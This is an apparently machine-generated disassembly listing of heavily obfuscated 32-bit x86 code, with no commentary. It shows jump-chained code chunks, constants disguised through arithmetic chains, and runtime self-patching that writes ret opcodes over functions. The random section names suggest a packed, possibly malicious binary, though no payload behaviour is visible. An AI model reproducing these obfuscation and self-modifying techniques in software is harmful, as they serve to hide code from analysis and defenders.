; START OF FUNCTION CHUNK FOR sub_10013061 loc_100149E1: ; CODE XREF: sub_10013061:loc_10019E8Aj add edx, 93E45F25h xor edx, 0FE1148DBh loc_100149ED: ; CODE XREF: an.kk9rg:loc_1001DC0Aj add edx, ebp add edx, 9406125Eh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013836 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- popf jmp sub_10015E3A ; =============== S U B R O U T I N E ======================================= sub_10014A06 proc near ; CODE XREF: an.kk9rg:10017201j ; sub_1001DAA8+7p ; FUNCTION CHUNK AT 1001462E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016110 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100179AA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018DFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B2AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C457 SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx pop ebp push 4C30B89Eh jmp loc_10016110 sub_10014A06 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl ecx, 1Ah jmp sub_1001B5A3 ; --------------------------------------------------------------------------- loc_10014A1D: ; CODE XREF: an.kk9rg:1001DD0Aj jnz loc_10016202 jmp loc_10019A18 ; --------------------------------------------------------------------------- loc_10014A28: ; CODE XREF: an.kk9rg:loc_10014AE4j jnz loc_10016304 ror ebp, 1Bh jmp loc_10016302 ; --------------------------------------------------------------------------- mov ds:off_10002028, eax lea eax, sub_100190DC mov byte ptr [eax], 0C3h jmp loc_1001B2AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10014A4A: ; CODE XREF: sub_100190DC+1j call sub_10016323 loc_10014A4F: ; CODE XREF: an.kk9rg:loc_100137B8j jmp loc_1001C238 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- loc_10014A54: ; CODE XREF: an.kk9rg:1001328Fj jmp loc_10017AD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_10014A5A: ; CODE XREF: sub_10019E17:loc_1001829Ej inc dword ptr [ebp-8] loc_10014A5D: ; CODE XREF: sub_10019E17:loc_100174BBj ; sub_10019E17+78Ej mov eax, [ebp-8] pop ecx pop ecx jmp loc_1001539C ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10014A67: ; CODE XREF: sub_10017667:loc_1001A180j imul byte ptr [edx] cmp al, 0A4h jz loc_100158DB jmp loc_1001ABA9 ; END OF FUNCTION CHUNK FOR sub_10017667 ; =============== S U B R O U T I N E ======================================= sub_10014A76 proc near ; CODE XREF: an.kk9rg:100166B2j ; sub_10013389+9FDFp ; FUNCTION CHUNK AT 100149A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001826E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B00C SIZE 00000004 BYTES ; FUNCTION CHUNK AT 1001C31E SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx xor eax, 0FE1CD21Dh add eax, ebp add eax, 24BCA205h mov eax, [eax] popf jmp loc_1001826E sub_10014A76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10014A90: ; CODE XREF: sub_10016167+48A9j mov edx, [ebp+0] jns loc_10013BC5 rol edi, 4 ror ebp, 9 jmp loc_10016BAA ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_10014AA4: ; CODE XREF: an.kk9rg:10016208j jnz loc_1001CB7A jmp loc_100158C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015964 loc_10014AAF: ; CODE XREF: sub_10015964-F8Bj mov ds:off_10002000, eax lea eax, loc_100149BF mov byte ptr [eax], 0C3h jmp loc_100149BF ; --------------------------------------------------------------------------- loc_10014AC3: ; CODE XREF: sub_10015964-FA4j mov eax, [esp-4+arg_0] push edx call sub_10016802 mov eax, 0CE6B079Ah jmp loc_10017D30 ; END OF FUNCTION CHUNK FOR sub_10015964 ; --------------------------------------------------------------------------- not esi jnz loc_10019D52 jmp sub_1001C2A9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014AE4: ; CODE XREF: an.kk9rg:1001AF42j jmp loc_10014A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10014AE9: ; CODE XREF: sub_1001456F+6895j jz loc_1001DF17 jmp loc_10019584 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10014AF4: ; CODE XREF: sub_100193F2:loc_1001892Fj jz loc_1001D07F loc_10014AFA: ; CODE XREF: sub_100193F2:loc_1001322Ej ; sub_100193F2+3844j jno loc_10019FA5 add edx, 14h mov ecx, [ebx+edx-8] jmp loc_10016E80 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014B0C: ; CODE XREF: sub_10016D66:loc_10019604j add ecx, 377E13E4h mov [ecx], eax pop ecx lea eax, sub_100177EF mov byte ptr [eax], 0C3h jmp loc_10016EFA ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10014B23 proc near ; CODE XREF: an.kk9rg:10016606j ; DATA XREF: vyridizn:off_1000201Co push esi sub_10014B23 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014B24: ; CODE XREF: sub_10016D66:loc_1001466Ej push 27D08ECDh pop esi jmp loc_10013619 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014B2F: ; CODE XREF: sub_1001ABFD+2EA6j sbb ebx, 3452F42Dh jmp loc_1001D104 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= sub_10014B3A proc near ; CODE XREF: an.kk9rg:10014060p ; an.kk9rg:10019B4Fj ; FUNCTION CHUNK AT 1001D40B SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx push edx call sub_10013A6A push 0DE0AB981h pop eax jmp loc_1001D40B sub_10014B3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- jg loc_10017914 sbb ebp, 917B5628h jmp sub_1001AEBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_10014B60: ; CODE XREF: sub_10015E3A:loc_10016A16j and edi, 0E04D5F54h add esi, ebp jmp loc_100158D3 ; END OF FUNCTION CHUNK FOR sub_10015E3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10014B6D: ; CODE XREF: sub_1001D88D:loc_10019BCFj xchg esi, [esp+0] mov ecx, ebp xchg ecx, [esp+0] call sub_1001A51D ; END OF FUNCTION CHUNK FOR sub_1001D88D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10014B7B: ; CODE XREF: sub_10016451+55B5j jmp loc_10013176 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10014B80: ; CODE XREF: sub_100145ED+25CDj jmp loc_10017695 ; END OF FUNCTION CHUNK FOR sub_100145ED ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014B85 proc near ; CODE XREF: sub_100186DF:loc_1001720Cj ; an.kk9rg:1001DE32p ; FUNCTION CHUNK AT 10013B25 SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_100195E8 jmp loc_10013B25 sub_10014B85 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10014B92: ; CODE XREF: sub_100193F2:loc_10018977j jz loc_1001CAE7 jmp loc_1001C32F ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_10014B9D: ; CODE XREF: an.kk9rg:loc_10018A14j rol eax, 1Bh add eax, 0E1AD6C52h call sub_100181E1 push ecx push 0F1B6D823h pop ecx or ecx, 72BDF0B9h jmp loc_100174B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10014BBD: ; CODE XREF: sub_1001558A:loc_10018194j mov [ebp-8], eax loc_10014BC0: ; CODE XREF: sub_1001558A+8643j call sub_100142DD mov [ebp-0Ah], al ; END OF FUNCTION CHUNK FOR sub_1001558A ; START OF FUNCTION CHUNK FOR sub_100142CF loc_10014BC8: ; CODE XREF: sub_100142CF+9j call sub_10013389 loc_10014BCD: ; CODE XREF: sub_10013389+9090j jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_100142CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_10014BD2: ; CODE XREF: sub_1001D951-16F6j jmp loc_1001A8FA ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- loc_10014BD7: ; CODE XREF: an.kk9rg:10017742j jmp loc_1001A1A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015743 loc_10014BDC: ; CODE XREF: sub_10015743+1A2Cj jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_10015743 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10014BE1: ; CODE XREF: sub_10017667-21D3j not ebx push 0ECE09C43h jmp loc_100136A8 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10014BED: ; CODE XREF: sub_1001CF40-13D3j add eax, 0F985344Ah or eax, 169645FEh rol eax, 14h xor eax, 0D6956A3Ch jmp loc_100199CD ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_10014C08: ; CODE XREF: sub_10015469+C97j jmp loc_100158E6 ; END OF FUNCTION CHUNK FOR sub_10015469 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014C0D proc near ; CODE XREF: sub_10013389:loc_10018AA1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015F4F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10016AE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BABA SIZE 00000005 BYTES push ebp mov ebp, esp push edi jmp loc_10016AE0 sub_10014C0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10014C16: ; CODE XREF: sub_10016D04-12CEj jz loc_100154C8 jmp loc_10019803 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- loc_10014C21: ; CODE XREF: an.kk9rg:10015E63j push ebx jmp loc_10018E08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10014C27: ; CODE XREF: sub_10019571-27A6j test ecx, 0C63FE12Eh jmp loc_10017C56 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_10014C32: ; CODE XREF: sub_10017EFB+22j jz loc_1001846A loc_10014C38: ; CODE XREF: sub_10017EFB+16j and esi, 0D40D2184h or esi, 0EC3DB4B6h call sub_1001AAB8 loc_10014C49: ; CODE XREF: an.kk9rg:1001D3F4j jmp loc_1001D3B1 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10014C4E: ; CODE XREF: sub_10016B29+1F5Aj jmp loc_10015D75 ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145B9 loc_10014C53: ; CODE XREF: sub_100145B9+Fj jmp loc_100147DB ; END OF FUNCTION CHUNK FOR sub_100145B9 ; --------------------------------------------------------------------------- xchg edx, ebx jmp sub_10016D9F ; --------------------------------------------------------------------------- loc_10014C5F: ; CODE XREF: an.kk9rg:10019E12j pushf test ecx, ebp jmp loc_10019DA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014C67: ; CODE XREF: sub_10017BF9:loc_1001B749j jo loc_10019A71 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001DF17 jmp loc_1001D481 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10014C81: ; CODE XREF: sub_10013310+2993j mov ebp, esi loc_10014C83: ; CODE XREF: sub_10013310:loc_10017151j lea edx, [ebp-14h] mov eax, (offset loc_100181BA+2) push ebp mov ebp, ebx xchg ebp, [esp+1Ch+var_1C] push 0B4BFC33h xchg esi, [esp+20h+var_20] jmp loc_1001B583 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- loc_10014C9E: ; CODE XREF: an.kk9rg:1001AC63j jz loc_10017107 loc_10014CA4: ; CODE XREF: an.kk9rg:loc_100130AEj and ebx, eax jmp sub_1001D201 ; --------------------------------------------------------------------------- loc_10014CAB: ; DATA XREF: an.kk9rg:100189A1o popf push offset loc_1001502A jmp loc_1001BCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10014CB6: ; CODE XREF: sub_1001537B+Bj pop edx and edx, 46469ABDh test edx, 10000000h jmp loc_10019C4A ; END OF FUNCTION CHUNK FOR sub_1001537B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014CC9: ; CODE XREF: an.kk9rg:10014FF1j jmp loc_100179B7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014CCE proc near ; CODE XREF: sub_10018C76-2C44p ; sub_10018C76-2865p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016E70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCA7 SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10016E70 sub_10014CCE endp ; =============== S U B R O U T I N E ======================================= sub_10014CDF proc near ; DATA XREF: an.kk9rg:10018448o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015146 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10015BDC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016616 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100192C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B24C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B94B SIZE 0000000B BYTES mov eax, ds:dword_1001B72C or eax, eax jnz loc_100192C6 jmp loc_1001B94B sub_10014CDF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jns nullsub_32 jmp sub_10018ABA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10014CFE: ; CODE XREF: sub_100136D7+32BEj jnz loc_1001B02C jmp loc_10015261 ; --------------------------------------------------------------------------- loc_10014D09: ; CODE XREF: sub_100136D7:loc_10015855j shl esi, 2 mov [esi], edi add edi, 0F5F6DDBBh popf jmp loc_1001AD33 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10014D1A: ; CODE XREF: an.kk9rg:10019DEDj pop eax or eax, 0B6F6F978h rol eax, 15h and eax, 571CB37h or eax, 0F0F96B75h test eax, 1000000h jmp loc_1001446B ; --------------------------------------------------------------------------- mov ecx, 5ACBAD60h jmp sub_1001C4EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10014D45: ; CODE XREF: sub_10015995:loc_10018013j jz loc_1001A5AA push ebp mov eax, [ebp-20h] call sub_1001C8CE pop ecx mov [ebp-20h], eax jmp loc_1001601E ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- rol edi, 1Ah jmp sub_10015402 ; --------------------------------------------------------------------------- loc_10014D65: ; DATA XREF: an.kk9rg:10015484o push 34A8B751h pop edx or edx, 221C5469h xor edx, 210F36B6h call sub_1001534D push eax jmp loc_10016142 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014D82: ; CODE XREF: sub_10017BF9+2B8Bj sub edx, ebx sub ebx, edi add ebx, 883F4756h jmp loc_100160AE ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_10014D91: ; CODE XREF: an.kk9rg:10015F8Fj mov eax, [ebp-4] jno loc_10015E20 push esi mov esi, edi jmp loc_1001CC07 ; --------------------------------------------------------------------------- loc_10014DA2: ; CODE XREF: an.kk9rg:10016383j push ecx mov ecx, ebp xchg ecx, [esp] mov ebp, esp loc_10014DAA: ; CODE XREF: an.kk9rg:1001953Bj push ecx mov [ebp-4], eax push 122B09C7h jmp loc_100132EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_10014DB8: ; CODE XREF: sub_10016A39:loc_10019D76j jz loc_1001C4B8 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014DBE: ; CODE XREF: sub_10016D66+4749j jmp loc_1001321D ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10014DC3: ; CODE XREF: an.kk9rg:100184A4j jmp locret_1001CA59 ; --------------------------------------------------------------------------- pushf jmp loc_1001C4B0 ; --------------------------------------------------------------------------- adc edi, 0E71C5001h jmp sub_1001B1DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014DD9 proc near ; CODE XREF: sub_10015C14:loc_10013108p ; sub_100188A0+10p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100148E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100163CF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019A55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A113 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B13E SIZE 0000001E BYTES push ebp mov ebp, esp push ecx mov [ebp+var_4], eax push 548C12A8h pop eax or eax, 47287125h xor eax, 0D4F5297Bh jmp loc_10019A55 sub_10014DD9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10014DF8 proc near ; CODE XREF: an.kk9rg:10019C5Dp push ecx sub_10014DF8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_10014DF9: ; CODE XREF: sub_1001C185:loc_1001ABF0j mov ecx, ebp xchg ecx, [esp+0] call sub_10019571 loc_10014E03: ; CODE XREF: sub_10017CF8+3BA1j jmp loc_1001B0E0 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018628 loc_10014E08: ; CODE XREF: sub_10018628:loc_10015348j call sub_1001D201 ; END OF FUNCTION CHUNK FOR sub_10018628 ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10014E0D: ; CODE XREF: sub_1001A12F-837j jmp loc_10015002 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015633 loc_10014E12: ; CODE XREF: sub_10015633:loc_10015638j jmp loc_1001CD07 ; END OF FUNCTION CHUNK FOR sub_10015633 ; =============== S U B R O U T I N E ======================================= sub_10014E17 proc near ; DATA XREF: sub_10017315+4o ; FUNCTION CHUNK AT 10017421 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10017919 SIZE 00000018 BYTES push 5A304B05h pop edx xor edx, 0B8F13513h add edx, 0B5C2A49Eh add eax, edx pop edx loc_10014E2C: ; CODE XREF: sub_1001492C:loc_1001DF3Bj push edi pushf jmp loc_10017919 sub_10014E17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10014E33: ; CODE XREF: an.kk9rg:100180AAj jz loc_1001B00C jmp loc_10015E4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10014E3E: ; CODE XREF: sub_1001C547:loc_100197FEj or [edx-8], eax jmp loc_1001A2F9 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10014E46: ; CODE XREF: sub_10013688+7816j ; sub_1001C547+8j cmp dword ptr [ebp-10h], 1 push offset loc_1001A88A jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_10014E54: ; CODE XREF: an.kk9rg:loc_100181C7j jnz loc_1001BC20 jmp loc_10014014 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10014E5F: ; CODE XREF: sub_10015B1B+7961j xor ebx, ebp jmp loc_10015CDA ; END OF FUNCTION CHUNK FOR sub_10015B1B ; =============== S U B R O U T I N E ======================================= sub_10014E66 proc near ; CODE XREF: an.kk9rg:10017C42j ; sub_1001B1DD+9p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014612 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10015163 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A94C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001BC62 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DD40 SIZE 00000005 BYTES xchg ebx, [esp+4+var_4] pop ebx xchg ebp, [esp+0] mov esp, ebp pop ebp mov eax, ds:dword_100185EC or eax, eax jmp loc_10015163 sub_10014E66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor ebp, eax ja loc_10015939 jmp sub_10014092 ; --------------------------------------------------------------------------- pop ebp jmp sub_1001BABF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014030 loc_10014E90: ; CODE XREF: sub_10014030+Aj push edx push ecx mov ecx, esi xchg ecx, [esp+4+var_4] push 368238Ah loc_10014E9C: ; CODE XREF: an.kk9rg:loc_1001AD1Ej pop esi xor esi, 0AA0539FBh rol esi, 0Bh jmp loc_1001CA22 ; END OF FUNCTION CHUNK FOR sub_10014030 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014EAC: ; CODE XREF: an.kk9rg:1001C64Cj jb loc_10016A3D loc_10014EB2: ; CODE XREF: an.kk9rg:loc_10014790j mov eax, [esp] push offset sub_1001445C jmp loc_1001A3EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10014EBF: ; CODE XREF: sub_100178C9-2F66j xchg ebp, [eax] sub ebp, eax loc_10014EC3: ; CODE XREF: sub_100178C9:loc_10016FC5j push 1A11A63Eh xchg ebp, [esp+4+var_4] mov eax, ebp pop ebp or eax, 8DBA682Eh add eax, 0F4485F94h jmp loc_10015585 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- mov edi, esi jmp sub_10016372 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_10014EE6: ; CODE XREF: sub_10019473:loc_1001B34Dj jz loc_10014345 ; END OF FUNCTION CHUNK FOR sub_10019473 ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10014EEC: ; CODE XREF: sub_1001456F:loc_1001C8ABj jmp loc_1001562B ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_10014EF1: ; CODE XREF: sub_10016FD0-2BFEj add esi, 56D9B1C7h xchg esi, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014EFF: ; CODE XREF: sub_10019E2E-1A2Cj jg loc_1001598E loc_10014F05: ; CODE XREF: sub_10019E2E:loc_1001363Ej mov eax, [ebp-4] call sub_1001D9A7 loc_10014F0D: ; CODE XREF: an.kk9rg:10018ECEj ; an.kk9rg:loc_1001BA92j jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_10014F12: ; CODE XREF: an.kk9rg:10016703j jmp locret_10017991 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_10014F18: ; CODE XREF: sub_1001D4C9-82A5j jmp loc_1001D653 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014F1D: ; CODE XREF: sub_10019409+1570j pop ecx adc esi, 0DE4D52B6h jmp loc_100135E2 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10014F29: ; CODE XREF: sub_10013061:loc_1001728Ej popf mov al, [eax] jns loc_1001D72F sub al, 99h push 16ADD4D9h pop edx jmp loc_1001C9C9 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_10014F3F: ; CODE XREF: an.kk9rg:loc_100141A3j rol ecx, 5 mov esi, 5F8DB58Ah or ebp, edi loc_10014F49: ; CODE XREF: an.kk9rg:1001AA99j jmp loc_10017DD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10014F4E: ; CODE XREF: sub_1001C6B0-2B88j mov ecx, [ebx] adc ecx, ebp loc_10014F52: ; CODE XREF: sub_10019030:loc_100176EAj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001955E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014F5D: ; CODE XREF: sub_10016D66+32DBj jno loc_1001AD8A loc_10014F63: ; CODE XREF: sub_10016D66:loc_100155FBj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h loc_10014F69: ; CODE XREF: an.kk9rg:loc_10017B64j jnz loc_1001491B jmp loc_10013FE9 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10014F74: ; CODE XREF: sub_1001D461:loc_1001ABF8j jz loc_10016C5D sub al, 99h mov edx, [ebp-4] call sub_10016D04 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10014F84: ; CODE XREF: sub_100178C9+4BE2j jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10014F89: ; CODE XREF: an.kk9rg:loc_10015C0Ej ; sub_10019030+482j jmp loc_1001CF09 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100147AF loc_10014F8E: ; CODE XREF: sub_100147AF+Dj jmp loc_1001C888 ; END OF FUNCTION CHUNK FOR sub_100147AF ; =============== S U B R O U T I N E ======================================= sub_10014F93 proc near ; DATA XREF: sub_1001AAB8+12o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015E48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100160B5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10016174 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10017EE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100197B1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019A13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B5E3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B81E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D0B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001DDA8 SIZE 00000027 BYTES mov esi, [esi] xchg esi, [esp+0] push dword ptr [ebp+0Ch] push eax push 5B6944F4h pop eax and eax, 0F8508948h add eax, 0D70BBB2Bh jmp loc_100197B1 sub_10014F93 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014FB3: ; CODE XREF: sub_10019E2E+10j xor ebx, 0AED90115h add ebx, ebp add ebx, 0C3F2FF2Ch mov [ebx], eax pop ebx mov eax, [ebp-4] mov al, [eax] js loc_10013255 jmp loc_100176DA ; END OF FUNCTION CHUNK FOR sub_10019E2E ; =============== S U B R O U T I N E ======================================= 